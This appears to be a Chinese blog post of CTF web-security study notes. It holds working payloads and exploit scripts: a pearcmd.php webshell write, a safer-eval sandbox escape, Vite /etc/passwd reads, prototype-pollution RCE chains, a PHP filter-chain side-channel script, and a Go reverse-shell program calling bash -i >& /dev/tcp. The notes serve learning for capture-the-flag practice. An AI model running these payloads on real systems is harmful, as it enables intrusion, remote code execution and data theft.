那些年日穿我的web知识(四)
本文最后更新于1 天前,其中的信息可能已经过时,如有错误请发送邮件到2292955451@qq.com

tornado模板注入之环境变量读取

tornado是一个python模板,有可能会存在SSTI,但是这次在做题目的时候发现在tornado模板中,可以利用SSTI读取环境变量

payload={{%20halder.setting%20}}

通过这个命令就可以得到环境变量

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量。

简单理解handler.settings即可,可以把它理解为tornado模板中内置的环境配置信息名称,通过handler.settings可以访问到环境配置的一些信息,看到tornado模板基本上可以通过handler.settings一把梭。

MD5相等文件

使用fastcoll即可,把图片拖动到exe上即可自动运行脚本生成两个md5值相等的文件

利用pearcmd.php文件包含拿shell

在做到极客大挑战2024的时候学到了一个很新的文件包含的姿势,这个文件包含的特点在于它是利用pearcmd.php来进行本地文件包含来拿shel

关于什么是pearcmd.php是什么,来看看P神的介绍

利用条件
1.安装了pear扩展(pear就是一个php扩展及应用的代码仓库,没有安装pear扩展的话就没有pear.php文件可以利用了)

2.知道pearcmd.php文件的路径(默认路径是/usr/local/lib/php/pearcmd.php)

3.开启了register_argc_argv选项(只有开启了,$_SERVER[‘argv’]才会生效。)

4.有文件包含点,并且能包含php后缀的文件,而且没有open_basedir的限制

首先来欣赏一下题目的代码

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET ["syc"])){
    $file = $_GET ["syc"];
    $hint = "register_argc_argv = On";
    if (preg_match("/config|create|filter|download|phar|log|sess|-c|-d|%|data/i", $file)) {
        die("hint都给的这么明显了还不会做?");
    }
    if(substr($_SERVER['REQUEST_URI'], -4) === '.php'){
        include $file;
    }
}

代码很简单,是个人都可以看懂,很明显的是这里开启了register_argc_argv,这个东西开启了之后,sys传入的值都会写入到$_SERVER的参数里头。然后我们就可以利用syc的这个参数来进行上传木马的操作,原理如下

php⽼版本(测试版本为5.2.17)默认为 On,新版本(测试版本为 5.4.45、5.5.9、7.3.4)默认为 Off

$argc变量是⽤于记录数组的⼤⼩
$argv变量是⽤于记录输⼊的参数

然后需要注意的是

一旦register_argc_argv开启,那么我们传入的值将不再可以通过&进行键值对分离,只有+可以做到

这里贴上pearcmd.php的部分源代码

$argv = Console_Getopt::readPHPArgv();
// fix CGI sapi oddity - the -- in pear.bat/pear is not removed
if (php_sapi_name() != 'cli' && isset($argv[1]) && $argv[1] == '--') {
unset($argv[1]);
$argv = array_values($argv);
}
$progname = PEAR_RUNTYPE;
array_shift($argv);
$options = Console_Getopt::getopt2($argv, "c:C:d:D:Gh?sSqu:vV");
if (PEAR::isError($options)) {
usage($options);
}

我们可以看到$argv是由readPHPArgv函数赋值,那么我们就继续跟进这个函数

    public static function readPHPArgv()
    {
        global $argv;
        if (!is_array($argv)) {
            if (!@is_array($_SERVER['argv'])) {
                if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
                    $msg = "Could not read cmd args (register_argc_argv=Off?)";
                    return PEAR::raiseError("Console_Getopt: " . $msg);
                }
                return $GLOBALS['HTTP_SERVER_VARS']['argv'];
            }
            return $_SERVER['argv'];
        }
        return $argv;
    }

先看$argv是否存在(这个变量储存在命令行模式下运行php脚本时传入的参数),如果不存在,就判断$_SERVER[‘argv’]这个变量,这个是我们可控的,那么这个函数返回值我们就可控。

首先这是pear中可以使用的命令

我们要利用的就是这个config-create命令,这个命令的主要作用就是将内容写入文件中,传入两个参数,第一个参数是要写的内容,第二个参数就是要写入文件的路径,很明显,这两个参数都是可控的,自然我们应该能想到可以写入一句话进去,然后进行包含getshell。

paylaod=?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/test.php

至于为什么?号之后有个+号是因为 $argv = array_values($argv) 这一段代码会将argv的第一个元素删除,我们用+把这个效果给抵消掉

一定要注意的是,一定一定要在burp上传入payload,一旦在url写payload就会写不进去,因为url会对字符串进行url编码,这是一个大坑

最后得到flag

六字符文件读取

做到一个很有意思的命令读取的题目,题目只限制输入六个字符,并且命令执行之后是不可见的

然后同时这里头还过滤了很多命令,包括ls,dir,cat之类的

这时候我们就要像以下那么构造

>nl

* /*>d

首先就是>nl就是创建一个名为nl的文件,* /*>d是什么意思呢,第一个*就是使用ls之下的第一个文件的文件名当作命令去执行,然后这个命令就会变成,nl /*>d,非常神奇,最后访问/tmp/d即可

极客大挑战2024 py_game所学记录

通过这道题目学会了很多东西,来记录一下

首先是flask的密钥爆破,这个工具是以前没见过的,赶紧记录记录

然后就是pyc反编译,因为这道题目的python版本非常高,导致uncompyle6无法使用,所以这里用到了pycdc,但是我后面看了别人的反编译代码,发现这个工具仍然没有完全的反编译出来,也不知道大家用的什么工具,只能以后知道了再回来补充了

关于pycdc的部署

git clone https://github.com/zrax/pycdc.git
mkdir build
cd build
cmake ..
./pycdc [文件路径]

接着就是元代码审计部分

import json
from lxml import etree
from flask import Flask, request, render_template, flash, redirect, url_for, session, Response, send_file, jsonify
app = Flask(__name__)
app.secret_key = 'a123456'
app.config['xml_data'] = '<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2024</Year><Description>This is a challenge event for geeks in the year 2024.</Description></GeekChallenge2024>'

class User:

    def __init__(self, username, password):
        self.username = username
        self.password = password

    def check(self, data):
        return self.username == data['username'] and self.password == data['password']
admin = User('admin', '123456j1rrynonono')
Users = [admin]

def update(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and isinstance(v, dict):
                update(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and isinstance(v, dict):
            update(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        for u in Users:
            if u.username == username:
                flash('用户名已存在', 'error')
                return redirect(url_for('register'))
        new_user = User(username, password)
        Users.append(new_user)
        flash('注册成功!请登录', 'success')
        return redirect(url_for('login'))
    else:
        return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        for u in Users:
            if u.check({'username': username, 'password': password}):
                session['username'] = username
                flash('登录成功', 'success')
                return redirect(url_for('dashboard'))
        flash('用户名或密码错误', 'error')
        return redirect(url_for('login'))
    else:
        return render_template('login.html')

@app.route('/play', methods=['GET', 'POST'])
def play():
    if 'username' in session:
        with open('/app/templates/play.html', 'r', encoding='utf-8') as file:
            play_html = file.read()
        return play_html
    flash('请先登录', 'error')
    return redirect(url_for('login'))

@app.route('/admin', methods=['GET', 'POST'])
def admin():
    if 'username' in session and session['username'] == 'admin':
        return render_template('admin.html', username=session['username'])
    flash('你没有权限访问', 'error')
    return redirect(url_for('login'))

@app.route('/downloads321')
def downloads321():
    return send_file('./source/app.pyc', as_attachment=True)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/dashboard')
def dashboard():
    if 'username' in session:
        is_admin = session['username'] == 'admin'
        if is_admin:
            user_tag = 'Admin User'
        else:
            user_tag = 'Normal User'
        return render_template('dashboard.html', username=session['username'], tag=user_tag, is_admin=is_admin)
    flash('请先登录', 'error')
    return redirect(url_for('login'))

@app.route('/xml_parse')
def xml_parse():
    try:
        xml_bytes = app.config['xml_data'].encode('utf-8')
        parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
        tree = etree.fromstring(xml_bytes, parser=parser)
        result_xml = etree.tostring(tree, pretty_print=True, encoding='utf-8', xml_declaration=True)
        return Response(result_xml, mimetype='application/xml')
    except etree.XMLSyntaxError as e:
        return str(e)
black_list = ['__class__'.encode(), '__init__'.encode(), '__globals__'.encode()]

def check(data):
    print(data)
    for i in black_list:
        print(i)
        if i in data:
            print(i)
            return False
    return True

@app.route('/update', methods=['POST'])
def update_route():
    if 'username' in session and session['username'] == 'admin':
        if request.data:
            try:
                if not check(request.data):
                    return ('NONONO, Bad Hacker', 403)
                data = json.loads(request.data.decode())
                print(data)
                if all(('static' not in str(value) and 'dtd' not in str(value) and ('file' not in str(value)) and ('environ' not in str(value)) for value in data.values())):
                    update(data, User)
                    return (jsonify({'message': '更新成功'}), 200)
                return ('Invalid character', 400)
            except Exception as e:
                return (f'Exception: {str(e)}', 500)
        else:
            return ('No data provided', 400)
    else:
        flash('你没有权限访问', 'error')
        return redirect(url_for('login'))
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80, debug=False)

这里主要学到的就是python原型链污染对一些黑名单的绕过

在这里的时候可以看到原型链污染的一些参数杯禁用,可以使用unicode编码进行绕过

{
    "__\u0069nit__": {
        "__global\u0073__": {
            "app": {
                "config": {
                    "xml_data": "<?xml version=\"1.0\"?><!DOCTYPE root [<!ENTITY xxe SYSTEM \"/flag\">]><p>&xxe;</p>"
                }
            }
        }
    }
}

safer-eval库漏洞(CVE-2019-10769 )

只有exp,库漏洞还去研究原理,那我也就不用睡觉了

相关poc如下

const saferEval = require("./src/index");

const theFunction = function () {
  const process = clearImmediate.constructor("return process;")();
  return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;

console.log(saferEval(untrusted));

碰到题目的时候就可以灵活一点应用,套进去就完事儿了

e=clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString()

看了看还有别的手法,但是都大差不差

(function () {const process = clearImmediate.constructor("return process;")();return process.mainModule.require("child_process").execSync("ls /").toString()})()

SetTimeOut()漏洞

app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }
});

settimeout()是一个延时函数,通过/eval?delay=上传一个数字并和60000比较,大的赋值给delay

然后就是讲讲这个延时函数的漏洞

setTimeout最多只能推迟执行2147483647毫秒(24.8天),超过这个时间会发生溢出,导致回调函数将在当前任务队列结束后立即执行

所以我们只要填入大于2147483647的数比如2147483648就可以绕过这个延时函数

Vite任意文件读取漏洞

在打TGCTF的时候发现了两个Vite的任意文件读取漏洞,记录下来

CVE-2025-30208

CVE-2025-31125

/@fs/etc/passwd?import&?inline=1.wasm?init #6.2.3版本的漏洞

/@fs/etc/passwd?import&?meteorkai.svg?.wasm?init  #6.2.4版本的漏洞

PHP注释符号除了#之外还有__HALT_COMPILER();

[强网杯 2019]高明的黑客复现所学

这个是个比较有意思的题目,总的题目大意就是给了3000个有getshell的文件,但是中只有一个是真的,我们要从这几万个文件里头找到能用的。ok,妥妥的脚本题,原本我是想用D盾进行一把梭的,但是D盾也找不到,于是我们只能老老实实的来写脚本。ok,我总是跟tx说我要练脚本,我也是有在练的好吗,证据都在这里

那么这道题目的脚本思路是什么呢,就是将所有php文件里头的GET参数和POST参数收集起来,然后集中到一起去对网址进行参数爆破,如果页面出现回显,那就说明是真正的参数,如果没有回显,那就是假的。

import os
import requests
import re    #正则表达式库
import threading  #多线程库
import time  #用于获取时间戳
print('开始时间:'+time.asctime(time.localtime(time.time())))
s1=threading.Semaphore(100) #设置线程数为100
filePath=r"C:\\Users\\Lenovo\\Desktop\\www.tar\\www\\src"
os.chdir(filePath)   #改变当前工作路径
requests.adapters.DEFAULT_RETRIES=5  #设置重连次数,防止线程数过高断开连接
files=os.listdir(filePath)  #罗列出文件夹下的所有文件名
session=requests.Session()  #保持登录会话
session.keep_alive=False  #设置连接活跃状态为False
def get_content(file):
    s1.acquire() #占用一个线程
    print('trying: '+file+'  '+time.asctime(time.localtime(time.time())))
    with open(file,encoding='utf-8') as f:
            gets=list(re.findall('\$_GET\[\'(.*?)\'\]',f.read())) #将所有的get参数提取出来
            posts=list(re.findall('\$_POST\[\'(.*?)\'\]',f.read())) #将所有的post参数提取出来
    data={}
    params={}
    for m in gets:
        params[m]="echo 'xxxxx';"
    for n in posts:
        data[n]="echo 'xxxxx';"
    url='http://node4.anna.nssctf.cn:28538/'+ file
    req=session.post(url,data=data,params=params)
    req.encoding='utf-8'
    req.close()
    content=req.text
    #print(content)用于调试
    if "xxxxx" in content:
        flag=0
        for a in gets:
            req=session.get(f"{url}?{a}=echo 'xxxxx';")
            content=req.text
            req.close() #释放内存
            if "xxxxx" in content:
                flag=1
                break
            if flag !=1:
                for b in posts:
                    req=session.post(url,data={b:"echo 'xxxxx';"})
                    content=req.text
                    req.close()
                    if "xxxxx" in content:
                        break
        if flag==1:
            param=a
        else:
            param=b
        print('找到了利用文件:----'+file+"----- 找到了利用的参数:%s" %param)
        print('结束时间:'+time.asctime(time.localtime(time.time())))
    s1.release() #释放掉信号量
for i in files:    #并发执行get_content这个函数
    t=threading.Thread(target=get_content,args=(i,))  #由于这里要传入的是元组,所以必须要有args(i,),逗号不能少
    t.start()  #启动函数

完结撒花,哭了,搓了一天了

htaccess绕过XBM/WBMP

在打GHCTF2025的时候遇到了如下的一个问题

htaccess被当作了非法文件,去了解了一番才知道这是因为后端开启了后端采用了getimagesize和exif_imagetype限制

.htaccess 中有两个注释符,或者相当于单行注释的符号,分别是#\x00。然后分别有两种图片能绕过:

XBM图片和WBMP图片

这个时候有人就要问了,为什么图片可以写入htaccess,其实是因为这两个图片的格式是文本格式是,并非真正的图片,所以可以正常写入htaccess

XBM格式,也就是X BitMap,是一种基于文本的图像格式(纯文本图像格式),用于存储黑白像素(没有颜色,只有0和1表示是否填充)。它的本质是一个C语言头文件(.h文件),内部用代码定义了一个二维数组,描述图像的每个像素点。

XBM图片格式,直接使用#define width 1#define height 1就可以绕过

WBMP图片格式使用\x00\x00\x85\x85或者是\x00\x00\x8a\x39\x8a\x39可以绕过

Unicode欺骗

数字形式, ‭⅐ ⅑ ⅒‬, 64个字符, Unicode范围:2150-218F (◕‿◕) SYMBL

这是碰到一个题目

需要购买第四个商品,只要我们输入的价格大于它的标价就可以购买成功,但是price指定只能用一个字符串的形式输入,但是他的price用的是utf-8编码,于是我们就可以用上面的两种方法去绕过这个字符串判定,怎么说呢,算是一个小知识点吧,记住就好。

perl文件上传和任意文件读取

遇到了pl的文件尾,这说明是用perl写的网站

param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的接收变量中。如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。对正常的上传文件进行修改,可以达到读取任意文件的目的。

直接将上传的文件的报文复制一段,然后去掉文件名,再在内容加上ARGV即可复现这个漏洞。

web侧信道攻击

看到一道题目是这样子的

<?php 
class Saferman{
    public $check = True;
    public function __destruct(){
        if($this->check === True){
            file($_GET['secret']);
        }
    }
    public function __wakeup(){
        $this->check=False;
    }
}
if(isset($_GET['my_secret.flag'])){
    unserialize($_GET['my_secret.flag']);
}else{
    highlight_file(__FILE__);
}

首先是绕过wakeup这个函数,我们使用C绕过或者是增加类的数量都可以

C绕过

使用C代替O能绕过_wakeup(),但那样的话只能执行construct()函数或者destruct()函数,无法添加任何内容

注意:使用C绕过有版本要求

然后就是file()这个函数,file函数的作用是将文件里的内容读入数组,不过这个函数不具有回显功能,所以我们就会出现无回显的情况,这个时候就要涉及到测信道攻击,其实研究了一下他的脚本,本质上就是伪协议的一种变体运用

import requests
import sys
from base64 import b64decode
def join(*x):
	return '|'.join(x)
 
def err(s):
	print(s)
	raise ValueError
 
def req(s):
	param = '{}'
	data = f'{param}&secret=php://filter/{s}/resource=/flag'
 
	return requests.get(f'http://123.57.73.24:47260//index.php?my[secret.flag=C:8:"Saferman":0:{data}').status_code == 500
blow_up_enc = join(*['convert.quoted-printable-encode']*1000)
blow_up_utf32 = 'convert.iconv.L1.UCS-4LE'
blow_up_inf = join(*[blow_up_utf32]*50)
 
header = 'convert.base64-encode|convert.base64-encode'
 
# Start get baseline blowup
print('Calculating blowup')
baseline_blowup = 0
for n in range(100):
	payload = join(*[blow_up_utf32]*n)
	if req(f'{header}|{payload}'):
		baseline_blowup = n
		break
else:
	err('something wrong')
 
print(f'baseline blowup is {baseline_blowup}')
 
trailer = join(*[blow_up_utf32]*(baseline_blowup-1))
 
assert req(f'{header}|{trailer}') == False
 
print('detecting equals')
j = [
	req(f'convert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}'),
	req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{blow_up_enc}|{trailer}'),
	req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}')
]
print(j)
if sum(j) != 2:
	err('something wrong')
if j[0] == False:
	header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'
elif j[1] == False:
	header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode'
elif j[2] == False:
	header = f'convert.base64-encode|convert.base64-encode'
else:
	err('something wrong')
print(f'j: {j}')
print(f'header: {header}')
flip = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"
r2 = "convert.iconv.CSUNICODE.UCS-2BE"
r4 = "convert.iconv.UCS-4LE.10646-1:1993"
 
def get_nth(n):
	global flip, r2, r4
	o = []
	chunk = n // 2
	if chunk % 2 == 1: o.append(r4)
	o.extend([flip, r4] * (chunk // 2))
	if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2)
	return join(*o)
rot1 = 'convert.iconv.437.CP930'
be = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode'
o = ''
 
def find_letter(prefix):
	if not req(f'{prefix}|dechunk|{blow_up_inf}'):
		# a-f A-F 0-9
		if not req(f'{prefix}|{rot1}|dechunk|{blow_up_inf}'):
			# a-e
			for n in range(5):
				if req(f'{prefix}|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
					return 'edcba'[n]
					break
			else:
				err('something wrong')
		elif not req(f'{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
			# A-E
			for n in range(5):
				if req(f'{prefix}|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
					return 'EDCBA'[n]
					break
			else:
				err('something wrong')
		elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}'):
			return '*'
		elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
			# f
			return 'f'
		elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
			# F
			return 'F'
		else:
			err('something wrong')
	elif not req(f'{prefix}|string.rot13|dechunk|{blow_up_inf}'):
		# n-s N-S
		if not req(f'{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}'):
			# n-r
			for n in range(5):
				if req(f'{prefix}|string.rot13|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
					return 'rqpon'[n]
					break
			else:
				err('something wrong')
		elif not req(f'{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
			# N-R
			for n in range(5):
				if req(f'{prefix}|string.rot13|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
					return 'RQPON'[n]
					break
			else:
				err('something wrong')
		elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
			# s
			return 's'
		elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
			# S
			return 'S'
		else:
			err('something wrong')
	elif not req(f'{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
		# i j k
		if req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
			return 'k'
		elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
			return 'j'
		elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
			return 'i'
		else:
			err('something wrong')
	elif not req(f'{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
		# I J K
		if req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
			return 'K'
		elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
			return 'J'
		elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
			return 'I'
		else:
			err('something wrong')
	elif not req(f'{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
		# v w x
		if req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
			return 'x'
		elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
			return 'w'
		elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
			return 'v'
		else:
			err('something wrong')
	elif not req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
		# V W X
		if req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
			return 'X'
		elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
			return 'W'
		elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
			return 'V'
		else:
			err('something wrong')
	elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
		# Z
		return 'Z'
	elif not req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
		# z
		return 'z'
	elif not req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
		# M
		return 'M'
	elif not req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
		# m
		return 'm'
	elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
		# y
		return 'y'
	elif not req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
		# Y
		return 'Y'
	elif not req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
		# l
		return 'l'
	elif not req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
		# L
		return 'L'
	elif not req(f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
		# h
		return 'h'
	elif not req(f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
		# H
		return 'H'
	elif not req(f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
		# u
		return 'u'
	elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
		# U
		return 'U'
	elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
		# g
		return 'g'
	elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
		# G
		return 'G'
	elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
		# t
		return 't'
	elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
		# T
		return 'T'
	else:
		err('something wrong')
 
print()
for i in range(100):
	prefix = f'{header}|{get_nth(i)}'
	letter = find_letter(prefix)
	# it's a number! check base64
	if letter == '*':
		prefix = f'{header}|{get_nth(i)}|convert.base64-encode'
		s = find_letter(prefix)
		if s == 'M':
			# 0 - 3
			prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
			ss = find_letter(prefix)
			if ss in 'CDEFGH':
				letter = '0'
			elif ss in 'STUVWX':
				letter = '1'
			elif ss in 'ijklmn':
				letter = '2'
			elif ss in 'yz*':
				letter = '3'
			else:
				err(f'bad num ({ss})')
		elif s == 'N':
			# 4 - 7
			prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
			ss = find_letter(prefix)
			if ss in 'CDEFGH':
				letter = '4'
			elif ss in 'STUVWX':
				letter = '5'
			elif ss in 'ijklmn':
				letter = '6'
			elif ss in 'yz*':
				letter = '7'
			else:
				err(f'bad num ({ss})')
		elif s == 'O':
			# 8 - 9
			prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
			ss = find_letter(prefix)
			if ss in 'CDEFGH':
				letter = '8'
			elif ss in 'STUVWX':
				letter = '9'
			else:
				err(f'bad num ({ss})')
		else:
			err('wtf')
 
	print(end=letter)
	o += letter
	sys.stdout.flush()
print()
d = b64decode(o.encode() + b'=' * 4)
# remove KR padding
d = d.replace(b'$)C',b'')
print(b64decode(d))

不过这个脚本我并没有测试过,所以不知道效果如何也就只能以后再说了

pug模板注入

在做到湖湘杯2021vote的时候遇到了一个pug的模板注入以及flat的原型链污染,记录一下

const path              = require('path');
const express           = require('express');
const pug               = require('pug');
const { unflatten }     = require('flat');
const router            = express.Router();

router.get('/', (req, res) => {
    return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/submit', (req, res) => {
    const { hero } = unflatten(req.body);

	if (hero.name.includes('奇亚纳') || hero.name.includes('锐雯') || hero.name.includes('卡蜜尔') || hero.name.includes('菲奥娜')) {
		return res.json({
			'response': pug.compile('You #{user}, thank for your vote!')({ user:'Guest' })
		});
	} else {
		return res.json({
			'response': 'Please provide us with correct name.'
		});
	}
});

module.exports = router;

代码很短并且在这里可以很明显的看到对pug模板的调用,然后flat5.0版本存在原型链污染。

然后就是,这个模板有个现成的链子

{"__proto__.hero":{"name":"奇亚纳"},
    "__proto__.block": {
        "type": "Text", 
        "line": "process.mainModule.require('child_process').execSync('cat /flag > /app/static/1.txt')"
    }}

__wakeup绕过之C绕过

打ctfshow的时候看到的一道题目

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfshow{

    public function __wakeup(){
        die("not allowed!");
    }

    public function __destruct(){
        system($this->ctfshow);
    }

}
$data = $_GET['1+1>2'];

if(!preg_match("/^[Oa]:[\d]+/i", $data)){
    unserialize($data);
}
?>

把序列化的O办掉了可以尝试C绕过,但是我们都知道理论上C开头不能有属性,不过其实也可以实现有属性,就是要用到内置类,ArrayObject

官方文档说:This class allows objects to work as arrays.),所以我们把类变成数组就可以实现内置属性。

<?php
class ctfshow
{
    public $ctfshow;

    public function __wakeup()
    {
        die("not allowed!");
    }

    public function __destruct()
    {
        echo "OK";
        system($this->ctfshow);
    }
}
$a = new ctfshow;
$a->ctfshow = "whoami";
$arr = array("evil" => $a);
$oa = new ArrayObject($arr);
$res = serialize($oa);
echo $res;
//unserialize($res)

能实现这种绕过的类有这些

  • ArrayObject::unserialize
  • ArrayIterator::unserialize
  • RecursiveArrayIterator::unserialize
  • SplObjectStorage::unserialize

不过有很阴的一点就是很吃版本,好像目前只有7.3版本的PHP才可以,其他版本的不管怎么测试都是错误的,并且连反序列化的内容也是完全不一样的。

go马

package main
import (
"fmt"
"log"
"os/exec"
)

func main() {
	cmd := exec.Command("bash", "-c","bash -i >& /dev/tcp/ip/port 0>&1")
	out, err := cmd.CombinedOutput()
	if err != nil {
        fmt.Printf("combined out:\n%s\n", string(out))
		log.Fatalf("cmd.Run() failed with %s\n", err)
	}
	fmt.Printf("combined out:\n%s\n", string(out))
}

go在执行文件的时候的命令为go run 文件.go

Ngnix < 1.17.7 存在请求走私的漏洞

LitCTF2025君の名は所学复现

在做到这次LitCTF2025的时候遇到的题目,很刚好的考到了我前面学到的ctfshow的愚人杯关于__wakeup__绕过的技巧,记录一下

<?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
    private $musubi;
    private $magic;
    public function __unserialize(array $data)
    {
        $this->musubi = $data['musubi'];
        $this->magic = $data['magic'];
        return ($this->musubi)();
    }
    public function __call($func,$args){
        (new $args[0]($args[1]))->{$this->magic}();
    }
}

class Mitsuha
{
    private $memory;
    private $thread;
    public function __invoke()
    {
        return $this->memory.$this->thread;
    }
}

class KatawareDoki
{
    private $soul;
    private $kuchikamizake;
    private $name;

    public function __toString()
    {
        ($this->soul)->flag($this->kuchikamizake,$this->name);
        return "call error!no flag!";
    }
}

$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
    unserialize($Litctf2025);
}else{
